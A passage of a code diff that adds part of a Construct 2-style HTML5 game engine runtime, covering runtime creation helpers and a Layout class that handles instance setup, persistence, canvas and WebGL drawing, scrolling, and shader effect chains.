+ window["cr_createRuntime"] = cr.createRuntime;
+ window["cr_createDCRuntime"] = cr.createDCRuntime;
+ window["createCocoonJSRuntime"] = function ()
+ {
+ window["c2cocoonjs"] = true;
+ var canvas = document.createElement("screencanvas") || document.createElement("canvas");
+ canvas.screencanvas = true;
+ document.body.appendChild(canvas);
+ var rt = new Runtime(canvas);
+ window["c2runtime"] = rt;
+ window.addEventListener("orientationchange", function () {
+ window["c2runtime"]["setSize"](window.innerWidth, window.innerHeight);
+ });
+ window["c2runtime"]["setSize"](window.innerWidth, window.innerHeight);
+ return rt;
+ };
+ window["createEjectaRuntime"] = function ()
+ {
+ var canvas = document.getElementById("canvas");
+ var rt = new Runtime(canvas);
+ window["c2runtime"] = rt;
+ window["c2runtime"]["setSize"](window.innerWidth, window.innerHeight);
+ return rt;
+ };
+}());
+window["cr_getC2Runtime"] = function()
+{
+ var canvas = document.getElementById("c2canvas");
+ if (canvas)
+ return canvas["c2runtime"];
+ else if (window["c2runtime"])
+ return window["c2runtime"];
+ else
+ return null;
+}
+window["cr_getSnapshot"] = function (format_, quality_)
+{
+ var runtime = window["cr_getC2Runtime"]();
+ if (runtime)
+ runtime.doCanvasSnapshot(format_, quality_);
+}
+window["cr_sizeCanvas"] = function(w, h)
+{
+ if (w === 0 || h === 0)
+ return;
+ var runtime = window["cr_getC2Runtime"]();
+ if (runtime)
+ runtime["setSize"](w, h);
+}
+window["cr_setSuspended"] = function(s)
+{
+ var runtime = window["cr_getC2Runtime"]();
+ if (runtime)
+ runtime["setSuspended"](s);
+}
+;
+(function()
+{
+ function Layout(runtime, m)
+ {
+ this.runtime = runtime;
+ this.event_sheet = null;
+ this.scrollX = (this.runtime.original_width / 2);
+ this.scrollY = (this.runtime.original_height / 2);
+ this.scale = 1.0;
+ this.angle = 0;
+ this.first_visit = true;
+ this.name = m[0];
+ this.originalWidth = m[1];
+ this.originalHeight = m[2];
+ this.width = m[1];
+ this.height = m[2];
+ this.unbounded_scrolling = m[3];
+ this.sheetname = m[4];
+ this.sid = m[5];
+ var lm = m[6];
+ var i, len;
+ this.layers = [];
+ this.initial_types = [];
+ for (i = 0, len = lm.length; i < len; i++)
+ {
+ var layer = new cr.layer(this, lm[i]);
+ layer.number = i;
+ cr.seal(layer);
+ this.layers.push(layer);
+ }
+ var im = m[7];
+ this.initial_nonworld = [];
+ for (i = 0, len = im.length; i < len; i++)
+ {
+ var inst = im[i];
+ var type = this.runtime.types_by_index[inst[1]];
+;
+ if (!type.default_instance)
+ type.default_instance = inst;
+ this.initial_nonworld.push(inst);
+ if (this.initial_types.indexOf(type) === -1)
+ this.initial_types.push(type);
+ }
+ this.effect_types = [];
+ this.active_effect_types = [];
+ this.shaders_preserve_opaqueness = true;
+ this.effect_params = [];
+ for (i = 0, len = m[8].length; i < len; i++)
+ {
+ this.effect_types.push({
+ id: m[8][i][0],
+ name: m[8][i][1],
+ shaderindex: -1,
+ preservesOpaqueness: false,
+ active: true,
+ index: i
+ });
+ this.effect_params.push(m[8][i][2].slice(0));
+ }
+ this.updateActiveEffects();
+ this.rcTex = new cr.rect(0, 0, 1, 1);
+ this.rcTex2 = new cr.rect(0, 0, 1, 1);
+ this.persist_data = {};
+ };
+ Layout.prototype.saveObjectToPersist = function (inst)
+ {
+ var sidStr = inst.type.sid.toString();
+ if (!this.persist_data.hasOwnProperty(sidStr))
+ this.persist_data[sidStr] = [];
+ var type_persist = this.persist_data[sidStr];
+ type_persist.push(this.runtime.saveInstanceToJSON(inst));
+ };
+ Layout.prototype.hasOpaqueBottomLayer = function ()
+ {
+ var layer = this.layers[0];
+ return !layer.transparent && layer.opacity === 1.0 && !layer.forceOwnTexture && layer.visible;
+ };
+ Layout.prototype.updateActiveEffects = function ()
+ {
+ cr.clearArray(this.active_effect_types);
+ this.shaders_preserve_opaqueness = true;
+ var i, len, et;
+ for (i = 0, len = this.effect_types.length; i < len; i++)
+ {
+ et = this.effect_types[i];
+ if (et.active)
+ {
+ this.active_effect_types.push(et);
+ if (!et.preservesOpaqueness)
+ this.shaders_preserve_opaqueness = false;
+ }
+ }
+ };
+ Layout.prototype.getEffectByName = function (name_)
+ {
+ var i, len, et;
+ for (i = 0, len = this.effect_types.length; i < len; i++)
+ {
+ et = this.effect_types[i];
+ if (et.name === name_)
+ return et;
+ }
+ return null;
+ };
+ var created_instances = [];
+ function sort_by_zindex(a, b)
+ {
+ return a.zindex - b.zindex;
+ };
+ var first_layout = true;
+ Layout.prototype.startRunning = function ()
+ {
+ if (this.sheetname)
+ {
+ this.event_sheet = this.runtime.eventsheets[this.sheetname];
+;
+ this.event_sheet.updateDeepIncludes();
+ }
+ this.runtime.running_layout = this;
+ this.width = this.originalWidth;
+ this.height = this.originalHeight;
+ this.scrollX = (this.runtime.original_width / 2);
+ this.scrollY = (this.runtime.original_height / 2);
+ var i, k, len, lenk, type, type_instances, initial_inst, inst, iid, t, s, p, q, type_data, layer;
+ for (i = 0, len = this.runtime.types_by_index.length; i < len; i++)
+ {
+ type = this.runtime.types_by_index[i];
+ if (type.is_family)
+ continue; // instances are only transferred for their real type
+ type_instances = type.instances;
+ for (k = 0, lenk = type_instances.length; k < lenk; k++)
+ {
+ inst = type_instances[k];
+ if (inst.layer)
+ {
+ var num = inst.layer.number;
+ if (num >= this.layers.length)
+ num = this.layers.length - 1;
+ inst.layer = this.layers[num];
+ if (inst.layer.instances.indexOf(inst) === -1)
+ inst.layer.instances.push(inst);
+ inst.layer.zindices_stale = true;
+ }
+ }
+ }
+ if (!first_layout)
+ {
+ for (i = 0, len = this.layers.length; i < len; ++i)
+ {
+ this.layers[i].instances.sort(sort_by_zindex);
+ }
+ }
+ var layer;
+ cr.clearArray(created_instances);
+ this.boundScrolling();
+ for (i = 0, len = this.layers.length; i < len; i++)
+ {
+ layer = this.layers[i];
+ layer.createInitialInstances(); // fills created_instances
+ layer.updateViewport(null);
+ }
+ var uids_changed = false;
+ if (!this.first_visit)
+ {
+ for (p in this.persist_data)
+ {
+ if (this.persist_data.hasOwnProperty(p))
+ {
+ type = this.runtime.getObjectTypeBySid(parseInt(p, 10));
+ if (!type || type.is_family || !this.runtime.typeHasPersistBehavior(type))
+ continue;
+ type_data = this.persist_data[p];
+ for (i = 0, len = type_data.length; i < len; i++)
+ {
+ layer = null;
+ if (type.plugin.is_world)
+ {
+ layer = this.getLayerBySid(type_data[i]["w"]["l"]);
+ if (!layer)
+ continue;
+ }
+ inst = this.runtime.createInstanceFromInit(type.default_instance, layer, false, 0, 0, true);
+ this.runtime.loadInstanceFromJSON(inst, type_data[i]);
+ uids_changed = true;
+ created_instances.push(inst);
+ }
+ cr.clearArray(type_data);
+ }
+ }
+ for (i = 0, len = this.layers.length; i < len; i++)
+ {
+ this.layers[i].instances.sort(sort_by_zindex);
+ this.layers[i].zindices_stale = true; // in case of duplicates/holes
+ }
+ }
+ if (uids_changed)
+ {
+ this.runtime.ClearDeathRow();
+ this.runtime.refreshUidMap();
+ }
+ for (i = 0; i < created_instances.length; i++)
+ {
+ inst = created_instances[i];
+ if (!inst.type.is_contained)
+ continue;
+ iid = inst.get_iid();
+ for (k = 0, lenk = inst.type.container.length; k < lenk; k++)
+ {
+ t = inst.type.container[k];
+ if (inst.type === t)
+ continue;
+ if (t.instances.length > iid)
+ inst.siblings.push(t.instances[iid]);
+ else
+ {
+ if (!t.default_instance)
+ {
+ }
+ else
+ {
+ s = this.runtime.createInstanceFromInit(t.default_instance, inst.layer, true, inst.x, inst.y, true);
+ this.runtime.ClearDeathRow();
+ t.updateIIDs();
+ inst.siblings.push(s);
+ created_instances.push(s); // come back around and link up its own instances too
+ }
+ }
+ }
+ }
+ for (i = 0, len = this.initial_nonworld.length; i < len; i++)
+ {
+ initial_inst = this.initial_nonworld[i];
+ type = this.runtime.types_by_index[initial_inst[1]];
+ if (!type.is_contained)
+ {
+ inst = this.runtime.createInstanceFromInit(this.initial_nonworld[i], null, true);
+ }
+;
+ }
+ this.runtime.changelayout = null;
+ this.runtime.ClearDeathRow();
+ if (this.runtime.ctx && !this.runtime.isDomFree)
+ {
+ for (i = 0, len = this.runtime.types_by_index.length; i < len; i++)
+ {
+ t = this.runtime.types_by_index[i];
+ if (t.is_family || !t.instances.length || !t.preloadCanvas2D)
+ continue;
+ t.preloadCanvas2D(this.runtime.ctx);
+ }
+ }
+ /*
+ if (this.runtime.glwrap)
+ {
+ console.log("Estimated VRAM at layout start: " + this.runtime.glwrap.textureCount() + " textures, approx. " + Math.round(this.runtime.glwrap.estimateVRAM() / 1024) + " kb");
+ }
+ */
+ if (this.runtime.isLoadingState)
+ {
+ cr.shallowAssignArray(this.runtime.fireOnCreateAfterLoad, created_instances);
+ }
+ else
+ {
+ for (i = 0, len = created_instances.length; i < len; i++)
+ {
+ inst = created_instances[i];
+ this.runtime.trigger(Object.getPrototypeOf(inst.type.plugin).cnds.OnCreated, inst);
+ }
+ }
+ cr.clearArray(created_instances);
+ if (!this.runtime.isLoadingState)
+ {
+ this.runtime.trigger(cr.system_object.prototype.cnds.OnLayoutStart, null);
+ }
+ this.first_visit = false;
+ };
+ Layout.prototype.createGlobalNonWorlds = function ()
+ {
+ var i, k, len, initial_inst, inst, type;
+ for (i = 0, k = 0, len = this.initial_nonworld.length; i < len; i++)
+ {
+ initial_inst = this.initial_nonworld[i];
+ type = this.runtime.types_by_index[initial_inst[1]];
+ if (type.global)
+ {
+ if (!type.is_contained)
+ {
+ inst = this.runtime.createInstanceFromInit(initial_inst, null, true);
+ }
+ }
+ else
+ {
+ this.initial_nonworld[k] = initial_inst;
+ k++;
+ }
+ }
+ cr.truncateArray(this.initial_nonworld, k);
+ };
+ Layout.prototype.stopRunning = function ()
+ {
+;
+ /*
+ if (this.runtime.glwrap)
+ {
+ console.log("Estimated VRAM at layout end: " + this.runtime.glwrap.textureCount() + " textures, approx. " + Math.round(this.runtime.glwrap.estimateVRAM() / 1024) + " kb");
+ }
+ */
+ if (!this.runtime.isLoadingState)
+ {
+ this.runtime.trigger(cr.system_object.prototype.cnds.OnLayoutEnd, null);
+ }
+ this.runtime.isEndingLayout = true;
+ cr.clearArray(this.runtime.system.waits);
+ var i, leni, j, lenj;
+ var layer_instances, inst, type;
+ if (!this.first_visit)
+ {
+ for (i = 0, leni = this.layers.length; i < leni; i++)
+ {
+ this.layers[i].updateZIndices();
+ layer_instances = this.layers[i].instances;
+ for (j = 0, lenj = layer_instances.length; j < lenj; j++)
+ {
+ inst = layer_instances[j];
+ if (!inst.type.global)
+ {
+ if (this.runtime.typeHasPersistBehavior(inst.type))
+ this.saveObjectToPersist(inst);
+ }
+ }
+ }
+ }
+ for (i = 0, leni = this.layers.length; i < leni; i++)
+ {
+ layer_instances = this.layers[i].instances;
+ for (j = 0, lenj = layer_instances.length; j < lenj; j++)
+ {
+ inst = layer_instances[j];
+ if (!inst.type.global)
+ {
+ this.runtime.DestroyInstance(inst);
+ }
+ }
+ this.runtime.ClearDeathRow();
+ cr.clearArray(layer_instances);
+ this.layers[i].zindices_stale = true;
+ }
+ for (i = 0, leni = this.runtime.types_by_index.length; i < leni; i++)
+ {
+ type = this.runtime.types_by_index[i];
+ if (type.global || type.plugin.is_world || type.plugin.singleglobal || type.is_family)
+ continue;
+ for (j = 0, lenj = type.instances.length; j < lenj; j++)
+ this.runtime.DestroyInstance(type.instances[j]);
+ this.runtime.ClearDeathRow();
+ }
+ first_layout = false;
+ this.runtime.isEndingLayout = false;
+ };
+ var temp_rect = new cr.rect(0, 0, 0, 0);
+ Layout.prototype.recreateInitialObjects = function (type, x1, y1, x2, y2)
+ {
+ temp_rect.set(x1, y1, x2, y2);
+ var i, len;
+ for (i = 0, len = this.layers.length; i < len; i++)
+ {
+ this.layers[i].recreateInitialObjects(type, temp_rect);
+ }
+ };
+ Layout.prototype.draw = function (ctx)
+ {
+ var layout_canvas;
+ var layout_ctx = ctx;
+ var ctx_changed = false;
+ var render_offscreen = !this.runtime.fullscreenScalingQuality;
+ if (render_offscreen)
+ {
+ if (!this.runtime.layout_canvas)
+ {
+ this.runtime.layout_canvas = document.createElement("canvas");
+ layout_canvas = this.runtime.layout_canvas;
+ layout_canvas.width = this.runtime.draw_width;
+ layout_canvas.height = this.runtime.draw_height;
+ this.runtime.layout_ctx = layout_canvas.getContext("2d");
+ ctx_changed = true;
+ }
+ layout_canvas = this.runtime.layout_canvas;
+ layout_ctx = this.runtime.layout_ctx;
+ if (layout_canvas.width !== this.runtime.draw_width)
+ {
+ layout_canvas.width = this.runtime.draw_width;
+ ctx_changed = true;
+ }
+ if (layout_canvas.height !== this.runtime.draw_height)
+ {
+ layout_canvas.height = this.runtime.draw_height;
+ ctx_changed = true;
+ }
+ if (ctx_changed)
+ {
+ this.runtime.setCtxImageSmoothingEnabled(layout_ctx, this.runtime.linearSampling);
+ }
+ }
+ layout_ctx.globalAlpha = 1;
+ layout_ctx.globalCompositeOperation = "source-over";
+ if (this.runtime.clearBackground && !this.hasOpaqueBottomLayer())
+ layout_ctx.clearRect(0, 0, this.runtime.draw_width, this.runtime.draw_height);
+ var i, len, l;
+ for (i = 0, len = this.layers.length; i < len; i++)
+ {
+ l = this.layers[i];
+ if (l.visible && l.opacity > 0 && l.blend_mode !== 11 && (l.instances.length || !l.transparent))
+ l.draw(layout_ctx);
+ else
+ l.updateViewport(null); // even if not drawing, keep viewport up to date
+ }
+ if (render_offscreen)
+ {
+ ctx.drawImage(layout_canvas, 0, 0, this.runtime.width, this.runtime.height);
+ }
+ };
+ Layout.prototype.drawGL_earlyZPass = function (glw)
+ {
+ glw.setEarlyZPass(true);
+ if (!this.runtime.layout_tex)
+ {
+ this.runtime.layout_tex = glw.createEmptyTexture(this.runtime.draw_width, this.runtime.draw_height, this.runtime.linearSampling);
+ }
+ if (this.runtime.layout_tex.c2width !== this.runtime.draw_width || this.runtime.layout_tex.c2height !== this.runtime.draw_height)
+ {
+ glw.deleteTexture(this.runtime.layout_tex);
+ this.runtime.layout_tex = glw.createEmptyTexture(this.runtime.draw_width, this.runtime.draw_height, this.runtime.linearSampling);
+ }
+ glw.setRenderingToTexture(this.runtime.layout_tex);
+ if (!this.runtime.fullscreenScalingQuality)
+ {
+ glw.setSize(this.runtime.draw_width, this.runtime.draw_height);
+ }
+ var i, l;
+ for (i = this.layers.length - 1; i >= 0; --i)
+ {
+ l = this.layers[i];
+ if (l.visible && l.opacity === 1 && l.shaders_preserve_opaqueness &&
+ l.blend_mode === 0 && (l.instances.length || !l.transparent))
+ {
+ l.drawGL_earlyZPass(glw);
+ }
+ else
+ {
+ l.updateViewport(null); // even if not drawing, keep viewport up to date
+ }
+ }
+ glw.setEarlyZPass(false);
+ };
+ Layout.prototype.drawGL = function (glw)
+ {
+ var render_to_texture = (this.active_effect_types.length > 0 ||
+ this.runtime.uses_background_blending ||
+ !this.runtime.fullscreenScalingQuality ||
+ this.runtime.enableFrontToBack);
+ if (render_to_texture)
+ {
+ if (!this.runtime.layout_tex)
+ {
+ this.runtime.layout_tex = glw.createEmptyTexture(this.runtime.draw_width, this.runtime.draw_height, this.runtime.linearSampling);
+ }
+ if (this.runtime.layout_tex.c2width !== this.runtime.draw_width || this.runtime.layout_tex.c2height !== this.runtime.draw_height)
+ {
+ glw.deleteTexture(this.runtime.layout_tex);
+ this.runtime.layout_tex = glw.createEmptyTexture(this.runtime.draw_width, this.runtime.draw_height, this.runtime.linearSampling);
+ }
+ glw.setRenderingToTexture(this.runtime.layout_tex);
+ if (!this.runtime.fullscreenScalingQuality)
+ {
+ glw.setSize(this.runtime.draw_width, this.runtime.draw_height);
+ }
+ }
+ else
+ {
+ if (this.runtime.layout_tex)
+ {
+ glw.setRenderingToTexture(null);
+ glw.deleteTexture(this.runtime.layout_tex);
+ this.runtime.layout_tex = null;
+ }
+ }
+ if (this.runtime.clearBackground && !this.hasOpaqueBottomLayer())
+ glw.clear(0, 0, 0, 0);
+ var i, len, l;
+ for (i = 0, len = this.layers.length; i < len; i++)
+ {
+ l = this.layers[i];
+ if (l.visible && l.opacity > 0 && (l.instances.length || !l.transparent))
+ l.drawGL(glw);
+ else
+ l.updateViewport(null); // even if not drawing, keep viewport up to date
+ }
+ if (render_to_texture)
+ {
+ if (this.active_effect_types.length === 0 ||
+ (this.active_effect_types.length === 1 && this.runtime.fullscreenScalingQuality))
+ {
+ if (this.active_effect_types.length === 1)
+ {
+ var etindex = this.active_effect_types[0].index;
+ glw.switchProgram(this.active_effect_types[0].shaderindex);
+ glw.setProgramParameters(null, // backTex
+ 1.0 / this.runtime.draw_width, // pixelWidth
+ 1.0 / this.runtime.draw_height, // pixelHeight
+ 0.0, 0.0, // destStart
+ 1.0, 1.0, // destEnd
+ this.scale, // layerScale
+ this.angle, // layerAngle
+ 0.0, 0.0, // viewOrigin
+ this.runtime.draw_width / 2, this.runtime.draw_height / 2, // scrollPos
+ this.runtime.kahanTime.sum, // seconds
+ this.effect_params[etindex]); // fx parameters
+ if (glw.programIsAnimated(this.active_effect_types[0].shaderindex))
+ this.runtime.redraw = true;
+ }
+ else
+ glw.switchProgram(0);
+ if (!this.runtime.fullscreenScalingQuality)
+ {
+ glw.setSize(this.runtime.width, this.runtime.height);
+ }
+ glw.setRenderingToTexture(null); // to backbuffer
+ glw.setDepthTestEnabled(false); // ignore depth buffer, copy full texture
+ glw.setOpacity(1);
+ glw.setTexture(this.runtime.layout_tex);
+ glw.setAlphaBlend();
+ glw.resetModelView();
+ glw.updateModelView();
+ var halfw = this.runtime.width / 2;
+ var halfh = this.runtime.height / 2;
+ glw.quad(-halfw, halfh, halfw, halfh, halfw, -halfh, -halfw, -halfh);
+ glw.setTexture(null);
+ glw.setDepthTestEnabled(true); // turn depth test back on
+ }
+ else
+ {
+ this.renderEffectChain(glw, null, null, null);
+ }
+ }
+ };
+ Layout.prototype.getRenderTarget = function()
+ {
+ if (this.active_effect_types.length > 0 ||
+ this.runtime.uses_background_blending ||
+ !this.runtime.fullscreenScalingQuality ||
+ this.runtime.enableFrontToBack)
+ {
+ return this.runtime.layout_tex;
+ }
+ else
+ {
+ return null;
+ }
+ };
+ Layout.prototype.getMinLayerScale = function ()
+ {
+ var m = this.layers[0].getScale();
+ var i, len, l;
+ for (i = 1, len = this.layers.length; i < len; i++)
+ {
+ l = this.layers[i];
+ if (l.parallaxX === 0 && l.parallaxY === 0)
+ continue;
+ if (l.getScale() < m)
+ m = l.getScale();
+ }
+ return m;
+ };
+ Layout.prototype.scrollToX = function (x)
+ {
+ if (!this.unbounded_scrolling)
+ {
+ var widthBoundary = (this.runtime.draw_width * (1 / this.getMinLayerScale()) / 2);
+ if (x > this.width - widthBoundary)
+ x = this.width - widthBoundary;
+ if (x < widthBoundary)
+ x = widthBoundary;
+ }
+ if (this.scrollX !== x)
+ {
+ this.scrollX = x;
+ this.runtime.redraw = true;
+ }
+ };
+ Layout.prototype.scrollToY = function (y)
+ {
+ if (!this.unbounded_scrolling)
+ {
+ var heightBoundary = (this.runtime.draw_height * (1 / this.getMinLayerScale()) / 2);
+ if (y > this.height - heightBoundary)
+ y = this.height - heightBoundary;
+ if (y < heightBoundary)
+ y = heightBoundary;
+ }
+ if (this.scrollY !== y)
+ {
+ this.scrollY = y;
+ this.runtime.redraw = true;
+ }
+ };
+ Layout.prototype.boundScrolling = function ()
+ {
+ this.scrollToX(this.scrollX);
+ this.scrollToY(this.scrollY);
+ };
+ Layout.prototype.renderEffectChain = function (glw, layer, inst, rendertarget)
+ {
+ var active_effect_types = inst ?
+ inst.active_effect_types :
+ layer ?
+ layer.active_effect_types :
+ this.active_effect_types;
+ var layerScale = 1, layerAngle = 0, viewOriginLeft = 0, viewOriginTop = 0, viewOriginRight = this.runtime.draw_width, viewOriginBottom = this.runtime.draw_height;
+ if (inst)
+ {
+ layerScale = inst.layer.getScale();
+ layerAngle = inst.layer.getAngle();
+ viewOriginLeft = inst.layer.viewLeft;
+ viewOriginTop = inst.layer.viewTop;
+ viewOriginRight = inst.layer.viewRight;
+ viewOriginBottom = inst.layer.viewBottom;
+ }
+ else if (layer)
+ {
+ layerScale = layer.getScale();
+ layerAngle = layer.getAngle();
+ viewOriginLeft = layer.viewLeft;
+ viewOriginTop = layer.viewTop;
+ viewOriginRight = layer.viewRight;
+ viewOriginBottom = layer.viewBottom;
+ }
+ var fx_tex = this.runtime.fx_tex;
+ var i, len, last, temp, fx_index = 0, other_fx_index = 1;
+ var y, h;
+ var windowWidth = this.runtime.draw_width;
+ var windowHeight = this.runtime.draw_height;
+ var halfw = windowWidth / 2;
+ var halfh = windowHeight / 2;
+ var rcTex = layer ? layer.rcTex : this.rcTex;
+ var rcTex2 = layer ? layer.rcTex2 : this.rcTex2;
+ var screenleft = 0, clearleft = 0;
+ var screentop = 0, cleartop = 0;
+ var screenright = windowWidth, clearright = windowWidth;
+ var screenbottom = windowHeight, clearbottom = windowHeight;
+ var boxExtendHorizontal = 0;
+ var boxExtendVertical = 0;
+ var inst_layer_angle = inst ? inst.layer.getAngle() : 0;
+ if (inst)
+ {
+ for (i = 0, len = active_effect_types.length; i < len; i++)
+ {
+ boxExtendHorizontal += glw.getProgramBoxExtendHorizontal(active_effect_types[i].shaderindex);
+ boxExtendVertical += glw.getProgramBoxExtendVertical(active_effect_types[i].shaderindex);
+ }
+ var bbox = inst.bbox;
+ screenleft = layer.layerToCanvas(bbox.left, bbox.top, true, true);
+ screentop = layer.layerToCanvas(bbox.left, bbox.top, false, true);
+ screenright = layer.layerToCanvas(bbox.right, bbox.bottom, true, true);
+ screenbottom = layer.layerToCanvas(bbox.right, bbox.bottom, false, true);
+ if (inst_layer_angle !== 0)
+ {
+ var screentrx = layer.layerToCanvas(bbox.right, bbox.top, true, true);
+ var screentry = layer.layerToCanvas(bbox.right, bbox.top, false, true);
+ var screenblx = layer.layerToCanvas(bbox.left, bbox.bottom, true, true);
+ var screenbly = layer.layerToCanvas(bbox.left, bbox.bottom, false, true);
+ temp = Math.min(screenleft, screenright, screentrx, screenblx);
+ screenright = Math.max(screenleft, screenright, screentrx, screenblx);
+ screenleft = temp;
+ temp = Math.min(screentop, screenbottom, screentry, screenbly);
+ screenbottom = Math.max(screentop, screenbottom, screentry, screenbly);
+ screentop = temp;
+ }
+ screenleft -= boxExtendHorizontal;
+ screentop -= boxExtendVertical;
+ screenright += boxExtendHorizontal;
+ screenbottom += boxExtendVertical;
+ rcTex2.left = screenleft / windowWidth;
+ rcTex2.top = 1 - screentop / windowHeight;
+ rcTex2.right = screenright / windowWidth;
+ rcTex2.bottom = 1 - screenbottom / windowHeight;
+ clearleft = screenleft = cr.floor(screenleft);
+ cleartop = screentop = cr.floor(screentop);
+ clearright = screenright = cr.ceil(screenright);
+ clearbottom = screenbottom = cr.ceil(screenbottom);
+ clearleft -= boxExtendHorizontal;
+ cleartop -= boxExtendVertical;
+ clearright += boxExtendHorizontal;
+ clearbottom += boxExtendVertical;
+ if (screenleft < 0) screenleft = 0;
+ if (screentop < 0) screentop = 0;
+ if (screenright > windowWidth) screenright = windowWidth;
+ if (screenbottom > windowHeight) screenbottom = windowHeight;
+ if (clearleft < 0) clearleft = 0;
+ if (cleartop < 0) cleartop = 0;
+ if (clearright > windowWidth) clearright = windowWidth;
+ if (clearbottom > windowHeight) clearbottom = windowHeight;
+ rcTex.left = screenleft / windowWidth;
+ rcTex.top = 1 - screentop / windowHeight;
+ rcTex.right = screenright / windowWidth;
+ rcTex.bottom = 1 - screenbottom / windowHeight;
+ }
+ else
+ {
+ rcTex.left = rcTex2.left = 0;
+ rcTex.top = rcTex2.top = 0;
+ rcTex.right = rcTex2.right = 1;
+ rcTex.bottom = rcTex2.bottom = 1;
+ }
+ var pre_draw = (inst && (glw.programUsesDest(active_effect_types[0].shaderindex) || boxExtendHorizontal !== 0 || boxExtendVertical !== 0 || inst.opacity !== 1 || inst.type.plugin.must_predraw)) || (layer && !inst && layer.opacity !== 1);
+ glw.setAlphaBlend();
+ if (pre_draw)
+ {
+ if (!fx_tex[fx_index])
+ {
+ fx_tex[fx_index] = glw.createEmptyTexture(windowWidth, windowHeight, this.runtime.linearSampling);
+ }
+ if (fx_tex[fx_index].c2width !== windowWidth || fx_tex[fx_index].c2height !== windowHeight)
+ {
+ glw.deleteTexture(fx_tex[fx_index]);
+ fx_tex[fx_index] = glw.createEmptyTexture(windowWidth, windowHeight, this.runtime.linearSampling);
+ }
+ glw.switchProgram(0);
+ glw.setRenderingToTexture(fx_tex[fx_index]);
+ h = clearbottom - cleartop;
+ y = (windowHeight - cleartop) - h;
+ glw.clearRect(clearleft, y, clearright - clearleft, h);
+ if (inst)
+ {
+ inst.drawGL(glw);
+ }
+ else
+ {
+ glw.setTexture(this.runtime.layer_tex);
+ glw.setOpacity(layer.opacity);
+ glw.resetModelView();
+ glw.translate(-halfw, -halfh);
+ glw.updateModelView();
+ glw.quadTex(screenleft, screenbottom, screenright, screenbottom, screenright, screentop, screenleft, screentop, rcTex);
+ }
+ rcTex2.left = rcTex2.top = 0;
+ rcTex2.right = rcTex2.bottom = 1;
+ if (inst)
+ {
+ temp = rcTex.top;
+ rcTex.top = rcTex.bottom;
+ rcTex.bottom = temp;
+ }
+ fx_index = 1;
+ other_fx_index = 0;
+ }
+ glw.setOpacity(1);
+ var last = active_effect_types.length - 1;
+ var post_draw = glw.programUsesCrossSampling(active_effect_types[last].shaderindex) ||
+ (!layer && !inst && !this.runtime.fullscreenScalingQuality);
+ var etindex = 0;
+ for (i = 0, len = active_effect_types.length; i < len; i++)
+ {
+ if (!fx_tex[fx_index])
+ {
+ fx_tex[fx_index] = glw.createEmptyTexture(windowWidth, windowHeight, this.runtime.linearSampling);
+ }
+ if (fx_tex[fx_index].c2width !== windowWidth || fx_tex[fx_index].c2height !== windowHeight)
+ {
+ glw.deleteTexture(fx_tex[fx_index]);
+ fx_tex[fx_index] = glw.createEmptyTexture(windowWidth, windowHeight, this.runtime.linearSampling);
+ }
+ glw.switchProgram(active_effect_types[i].shaderindex);
+ etindex = active_effect_types[i].index;
+ if (glw.programIsAnimated(active_effect_types[i].shaderindex))
+ this.runtime.redraw = true;
+ if (i == 0 && !pre_draw)
+ {
+ glw.setRenderingToTexture(fx_tex[fx_index]);
+ h = clearbottom - cleartop;
+ y = (windowHeight - cleartop) - h;
+ glw.clearRect(clearleft, y, clearright - clearleft, h);
+ if (inst)
+ {
+ var pixelWidth;
+ var pixelHeight;
+ if (inst.curFrame && inst.curFrame.texture_img)
+ {
+ var img = inst.curFrame.texture_img;
+ pixelWidth = 1.0 / img.width;
+ pixelHeight = 1.0 / img.height;
+ }
+ else
+ {
+ pixelWidth = 1.0 / inst.width;
+ pixelHeight = 1.0 / inst.height;
+ }
+ glw.setProgramParameters(rendertarget, // backTex
+ pixelWidth,
+ pixelHeight,
+ rcTex2.left, rcTex2.top, // destStart
+ rcTex2.right, rcTex2.bottom, // destEnd
+ layerScale,
+ layerAngle,
+ viewOriginLeft, viewOriginTop,
+ (viewOriginLeft + viewOriginRight) / 2, (viewOriginTop + viewOriginBottom) / 2,
+ this.runtime.kahanTime.sum,
+ inst.effect_params[etindex]); // fx params
+ inst.drawGL(glw);
+ }
+ else
+ {
+ glw.setProgramParameters(rendertarget, // backTex
+ 1.0 / windowWidth, // pixelWidth
+ 1.0 / windowHeight, // pixelHeight
+ 0.0, 0.0, // destStart
+ 1.0, 1.0, // destEnd
+ layerScale,
+ layerAngle,
+ viewOriginLeft, viewOriginTop,
+ (viewOriginLeft + viewOriginRight) / 2, (viewOriginTop + viewOriginBottom) / 2,
+ this.runtime.kahanTime.sum,
+ layer ? // fx params
+ layer.effect_params[etindex] :
+ this.effect_params[etindex]);
+ glw.setTexture(layer ? this.runtime.layer_tex : this.runtime.layout_tex);
+ glw.resetModelView();
+ glw.translate(-halfw, -halfh);
+ glw.updateModelView();
+ glw.quadTex(screenleft, screenbottom, screenright, screenbottom, screenright, screentop, screenleft, screentop, rcTex);
+ }
+ rcTex2.left = rcTex2.top = 0;
+ rcTex2.right = rcTex2.bottom = 1;
+ if (inst && !post_draw)
+ {
+ temp = screenbottom;
+ screenbottom = screentop;
+ screentop = temp;
+ }
+ }
+ else
+ {
+ glw.setProgramParameters(rendertarget, // backTex
+ 1.0 / windowWidth, // pixelWidth
+ 1.0 / windowHeight, // pixelHeight
+ rcTex2.left, rcTex2.top, // destStart
+ rcTex2.right, rcTex2.bottom, // destEnd
+ layerScale,
+ layerAngle,
+ viewOriginLeft, viewOriginTop,
+ (viewOriginLeft + viewOriginRight) / 2, (viewOriginTop + viewOriginBottom) / 2,
+ this.runtime.kahanTime.sum,
+ inst ? // fx params
+ inst.effect_params[etindex] :
+ layer ?
+ layer.effect_params[etindex] :
+ this.effect_params[etindex]);
+ glw.setTexture(null);
+ if (i === last && !post_draw)
+ {
+ if (inst)
+ glw.setBlend(inst.srcBlend, inst.destBlend);
+ else if (layer)
+ glw.setBlend(layer.srcBlend, layer.destBlend);
+ glw.setRenderingToTexture(rendertarget);
+ }
+ else
+ {
+ glw.setRenderingToTexture(fx_tex[fx_index]);
+ h = clearbottom - cleartop;
+ y = (windowHeight - cleartop) - h;
+ glw.clearRect(clearleft, y, clearright - clearleft, h);
+ }
+ glw.setTexture(fx_tex[other_fx_index]);
+ glw.resetModelView();
+ glw.translate(-halfw, -halfh);
+ glw.updateModelView();
+ glw.quadTex(screenleft, screenbottom, screenright, screenbottom, screenright, screentop, screenleft, screentop, rcTex);
+ if (i === last && !post_draw)
+ glw.setTexture(null);
+ }
+ fx_index = (fx_index === 0 ? 1 : 0);
+ other_fx_index = (fx_index === 0 ? 1 : 0); // will be opposite to fx_index since it was just assigned
+ }
+ if (post_draw)
+ {
+ glw.switchProgram(0);
+ if (inst)
